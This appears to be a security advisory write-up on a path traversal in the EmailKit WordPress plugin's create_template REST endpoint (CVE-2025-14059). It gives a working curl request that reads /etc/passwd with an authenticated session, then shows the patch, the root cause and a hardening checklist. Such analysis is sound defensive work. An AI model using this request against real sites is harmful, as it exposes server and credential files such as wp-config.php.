The Exploit
An authenticated attacker with Author-level privileges or higher can abuse create_template to read arbitrary files via the emailkit-editor-template REST parameter.
curl -i -s -X POST 'https://<TARGET_HOST>/wp-json/emailkit/v1/create_template' \
-H 'Content-Type: application/json' \
-H 'Cookie: wordpress_logged_in_<HASH>=<SESSION_COOKIE>' \
-d '{
"emailkit-editor-template": "../../../../../../etc/passwd",
"emailkit_email_type": "html",
"emailkit_form_id": "1"
}'
The endpoint accepts the crafted template path and returns a successful REST response, indicating that /etc/passwd has been loaded through the plugin's template logic. The file contents are written into post meta and can be exfiltrated later through MetForm email confirmation or any other channel that reads saved template metadata.
What the Patch Did
Before:
$template_path = $request->get_param('emailkit-editor-template');
$template = file_exists($template_path) ? file_get_contents($template_path) : '';
$html_path = str_replace("content.json", "content.html", $template_path);
$html = file_exists($html_path) ? file_get_contents($html_path) : '';
After:
$template_path = $request->get_param('emailkit-editor-template');
$allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/';
$real_path = realpath($template_path);
if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {
return new WP_REST_Response(['success' => false, 'message' => __('Invalid template path', 'emailkit')], 400);
}
$template = file_exists($real_path) ? file_get_contents($real_path) : '';
$html_path = str_replace("content.json", "content.html", $real_path);
// Validate HTML path as well
$real_html_path = realpath($html_path);
if ($real_html_path !== false && strpos($real_html_path, realpath($allowed_base_path)) === 0) {
$html = file_exists($real_html_path) ? file_get_contents($real_html_path) : '';
}
The patch adds a filesystem confinement check using realpath() and an allowed base directory built from wp_upload_dir(). It rejects any path that resolves outside uploads/emailkit/templates/, and it applies the same validation to the derived HTML template file too.
Root Cause
This is a classic CWE-22 path traversal: the REST parameter emailkit-editor-template is attacker-controlled, reaches $request->get_param('emailkit-editor-template'), and is passed directly into file_exists() and file_get_contents() with no directory validation. That allows ../../… payloads to escape the intended template folder and read arbitrary server files such as /etc/passwd or wp-config.php.
Why It Works
The bug is fixed by one load-bearing guard: if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0). Without that check, file_get_contents() still operates on whatever filesystem path the attacker provides. realpath() normalizes traversal sequences, while strpos(..., realpath($allowed_base_path)) !== 0 ensures the resolved path actually begins inside the plugin’s allowed upload directory. The extra realpath() validation for the derived HTML path prevents a second escape vector for the content.html file.
Hardening Checklist
- Use
current_user_can()in REST permission callbacks to enforce that only intended roles can hit file-handling endpoints. - Constrain filesystem access with
realpath()and compare against a known good base path, not just string matching. - Define allowed storage locations with
wp_upload_dir()orwp_normalize_path()so user-supplied paths cannot jump to arbitrary directories. - Sanitize REST parameters with
sanitize_text_field()and numeric IDs withabsint()before using them in filesystem or database operations. - Store files by identifier instead of by user-provided filename when possible, and map IDs to canonical paths rather than reading raw input paths.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14059